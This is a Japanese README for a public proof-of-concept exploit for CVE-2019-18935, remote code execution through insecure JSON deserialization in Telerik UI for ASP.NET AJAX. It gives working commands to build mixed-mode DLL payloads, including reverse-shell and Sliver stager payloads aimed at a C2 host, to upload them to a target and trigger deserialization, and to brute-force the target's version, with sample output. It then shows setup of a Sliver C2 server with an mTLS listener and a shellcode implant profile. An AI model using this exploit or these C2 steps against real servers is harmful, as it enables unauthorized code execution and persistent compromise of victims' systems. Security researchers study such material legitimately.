CVE-2019-18935

Telerik UI for ASP.NET AJAX における .NET JSON 逆シリアル化の脆弱性を悪用し、リモートコード実行を可能にする Proof-of-Concept エクスプロイトです。

説明

Telerik UI for ASP.NET AJAX は、Web アプリケーション向けに広く使用されている UI コンポーネント群です。このソフトウェアは JSON オブジェクトを安全でない方法で逆シリアル化するため、ソフトウェアが動作するホスト上で任意のリモートコード実行が可能になります。詳細については、以下を参照してください:

• DerpCon の講演 .NET Roulette (スライド) では、安全でない逆シリアル化を悪用するための追加の基礎知識を詳しく説明し、それをこのエクスプロイトに適用して、ASP.NET Web アプリケーションでシェルを取得するためのヒントやテクニックを紹介しています。
• Bishop Fox の完全なレポートには、この脆弱性の完全なウォークスルーと、この問題のエクスプロイトの詳細(パッチ適用手順を含む)が記載されています。

はじめに

前提条件

build-dll.bat を使用して混合モードの .NET アセンブリ DLL ペイロードをコンパイルするには、Visual Studio と .NET Framework SDK がインストールされている必要があります。

インストール

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

このエクスプロイトは、RAU_crypto の暗号化ロジックを利用しています。RAU_crypto.py 内の RAUCipher クラスは、開発が終了した PyCrypto モジュールのドロップイン代替品である PyCryptodome に依存しています。PyCryptodome と PyCrypto は同じ環境にインストールすると問題が発生するため、この依存関係を満たす最善の方法は、上記のように仮想環境内にモジュールをインストールすることです。

設定

build-dll.bat の 17 行目 を、ご使用の Visual Studio のインストール先パスに変更してください。

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

使用方法

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

混合モードの .NET アセンブリ DLL ペイロードをコンパイルする

一部のペイロード(例: reverse-shell.c や sliver-stager.c)では、HOST フィールドと PORT フィールドを C2 サーバーを指すように設定する必要があります。必ず設定してください!

Visual Studio がインストールされた Windows 環境で build-dll.bat を使用すると、逆シリアル化時にペイロードとして使用する 32 ビットおよび 64 ビットの混合モードアセンブリ DLL を生成できます。オプションとして、2 番目の CLI 引数(例: x86)でターゲットの CPU アーキテクチャを指定できます。

build-dll.bat sleep.c

ペイロードをターゲットにアップロードし、アプリケーションに読み込む

上記で生成した DLL を CVE-2019-18935.py に渡すと、DLL がターゲットサーバー上のディレクトリにアップロードされ(Web サーバーがそのディレクトリに書き込み権限を持っている場合)、その後、安全でない逆シリアル化エクスプロイトを介して DLL がアプリケーションに読み込まれます。

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

上記の例では、アプリケーションの応答に少なくとも 10 秒かかっており、DLL ペイロードが Sleep(10000) を正常に呼び出したことを示しています。

Telerik UI のバージョンをブルートフォースする

DerpCon の講演 .NET Roulette (39:46) で詳しく説明されているように、ファイルをアップロードする際に Telerik.Web.UI アセンブリの_メジャー_バージョン(つまり、完全なバージョン文字列 2017.2.503.40 の 2017 の部分)だけを指定することで、Telerik UI のバージョンをブルートフォースできます。この手法により、ソフトウェアの各リリースを個別にブルートフォースする場合と比較して、検索空間を大幅に削減できます。さらに、このソフトウェアのリリース履歴に明示的に記載されていないバージョンも検出できます。.NET アセンブリのバージョン管理の詳細については、MSDN を参照してください。

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 フレームワークによるインプラント

カスタムの Sliver ステージャーペイロード sliver-stager.c は、Metasploit のステージングプロトコルに従って、Sliver サーバー(ステージングサーバー)から Sliver シェルコード(ステージ)を受信して実行します。この仕組みの詳細については、ペイロードソースのヘッダーを参照してください。

Sliver サーバーを起動します。サーバー設定の詳細はこちらを参照してください。

MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Sliver サーバーで C2 エンドポイントを開き(ここでは mTLS リスナーを使用していますが、HTTP や DNS も使用できます)、インプラントプロファイルを作成し、そのプロファイルにリンクしたステージングリスナーを作成します。ステージドペイロードの詳細はこちらを参照してください。Sliver のドキュメントが推奨する generate stager を使用して Sliver ステージャーを生成するのではなく、カスタムの sliver-stager.c を使用していることに注意してください。

⚠️ 警告: CPU アーキテクチャが異なるステージを送信すると、ターゲットプロセスが_クラッシュ_します! たとえば、ターゲットが 32 ビット版の Telerik UI を実行している場合に、ステージングサーバーが 32 ビットのステージャーに 64 ビットのステージを送信すると、Web サーバープロセスがクラッシュします。次の例では 32 ビットのシェルコードを生成していますが、new-profile コマンドの --arch フラグを使用して、ターゲットの CPU アーキテクチャに合わせる必要があります。

sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32